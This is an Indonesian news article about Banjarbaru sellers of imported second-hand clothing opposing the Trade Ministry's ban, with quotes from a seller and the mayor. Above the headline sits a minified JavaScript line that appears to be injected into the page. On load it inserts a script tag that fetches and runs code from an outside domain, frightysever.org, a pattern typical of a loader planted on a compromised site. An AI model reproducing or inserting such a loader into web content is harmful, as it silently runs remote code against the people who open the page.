(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ketar-ketir Penjual Baju Bekas Impor di Banjarbaru, Posting di Marketplace Saja Dibanned!


KANALKALIMANTAN.COM, BANJARBARU – Reza dibikin waswas mendengar adanya larangan impor pakaian bekas atau biasa dikenal dengan trifhting. Ini karena usaha yang digeluti hampir tiga tahun belakangan sejak 2020, telah memberikan dampak positif bagi perekonomiannya.

Jika ini dilarang, maka ia khawatir sumber mata pencaharian satu-satunya hilang.

Jual beli pakaian impor bekas atau dikenal dengan istilah thrifting menjadi tren yang diminati banyak kalangan khususnya anak muda.

Ada banyak pedagang pakaian impor bekas yang tersebar di berbagai kota lantaran bisnis ini dinilai sangat menjanjikan. Sayangnya, pemerintah melalui Kementerian Perdagangan telah melarang impor pakaian bekas.

 

Baca juga: Toko Bangunan di Pasar Lima Banjarmasin Terbakar

Larangan tersebut tertulis dalam Peraturan Menteri Perdagangan (Permendag) No 18 Tahun 2021, tentang Barang Dilarang Ekspor dan Barang Dilarang Impor.

Dalam Pasal 2 Ayat 3 tertulis bahwa barang dilarang impor, salah satunya adalah berupa kantong bekas, karung bekas, dan pakaian bekas.

Di Kota Banjarbaru belakangan banyak ditemui pedagang thrifting. Bahkan, tidak jarang pedagang thrifting mengadakan event khususu di satu titik terbuka kota berjuluk Idaman ini.

Terkait larangan menjual pakaian bekas, para pedagang di Banjarbaru sepakat dan menolak secara tegas peraturan yang dikeluarkan pemerintah pusat tersebut.

Reza, pedagang yang melakoni bisnis thrifting sejak tahun 2020 mengatakan dengan tegas bahwa dirinya pribadi menolak aturan pelarangan itu. Para penjual thrifting lainnya juga sepakat menolak peraturan tersebut.

Baca juga: Ritual Adat Laluhan Warnai Peringatan Hari Jadi ke-217 Kota Kuala Kapuas 

Menurut Reza thrifting tidaklah mengganggu industri tekstil di Indonesia khususnya UMKM lokal. Berdasarkan data yang ia dan teman-temannya dapat dari Asosiasi Tekstil Indonesia, untuk pakaian jadi 80 persen dari negara China dan 15 persen dikuasai oleh negara lain.

Bahkan, dengan adanya thrifting dirinya menilai masyarakat dari kalangan menengah ke bawah sangat terbantu dalam memenuhi kebutuhan sandang, walau harga murah namun memiliki kualitas dengan brand atau jenama kondang.

“Saya dan teman-teman selaku thrifter serta penjual jelas menolak penuh larangan tersebut,” ujarnya, Rabu (22/3/2023) siang.

Masih kata Reza, para thrifter di Kalsel sepakat untuk mendaftar hasil dagangan ke UMKM dan siap untuk membayar pajak jika diputuskan.

Terkait barang thrifting yang baru-baru ini dimusnahkan oleh pemerintah pusat, Reza menilai pihak pemerintah tidak memiliki hati. Sebab, langkah yang diambil pemerintah terlalu berlebihan dan tidak memiliki hati dengan tega mematikan usaha para penjual thrifting yang sudah melakoni usaha puluhan tahun.

Selain itu, diungkapkan Reza, saat ini dirinya bahkan penjual lainnya sudah mulai kesusahan untuk memperjualbelikan secara online karena aplikasi tertentu memblokir penawaran-penawaran baju impor bekas. Hal ini dikarenakan adanya larangan dari pemerintah pusat terkait thrifting ini.

Baca juga: Tanam Cabai Upaya Pemko Banjarbaru Menekan Inflasi

“Sekarang mulai sulit jualan di marketplace, akun sering terkena banned,” ungkapnya.

Walau demikian, dia terus berupaya untuk menjajakan barang baik secara online maupun offline. Selain itu, Ia juga sering mengikuti event-event thrifting yang ada di Kota Banjarbaru.

Dirinya berharap pemerintah bisa meninjau kembali terkait aturan tersebut. Dikarenakan pasar thrifting tidaklah mengganggu UMKM lain.

Diketahui Reza sudah melakoni hobi thrifting sudah dari tahun 2018 lalu dan mulai berjualan pada tahun 2020. Adapun untuk harga yang dipatoknya berkisar dari Rp 50 ribu sampai Rp 500 ribu tergantung kualitas dan merek pakaian tersebut.

Lantas bagaimana ketentuan di Kota Banjarbaru terkait peraturan dari pemerintah pusat itu, menanggapi hal tersebut, Wali Kota Banjarbaru HM Aditya Mufti Ariffin mengatakan terkait kebijakan pemerintah pusat tentang baju bekas dan lainnya, Pemko Banjarbaru mendukung apapun keputusan pemerintah pusat.

“Kami juga menimbang tingkat perekonomian masyarakat untuk memutar roda perekonomiannya,” ujarnya.

Baca juga: Sempat Teriak, Remaja Perempuan Diduga Tenggelam Saat Main Ayunan Dekat Jembatan PHB Banjarmasin

Diungkapkannya, jika ada penindakan, Pemko Banjarbaru tetap akan melakukan tindakan secara humanis agar masyarakat tidak dirugikan, terutama bagi penjual yang sudah melakukan stok barangnya.

“Kami akan mencarikan jalan keluar yang terbaik bagi pedagang,” tandasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

7 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

9 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

15 jam ago

This website uses cookies.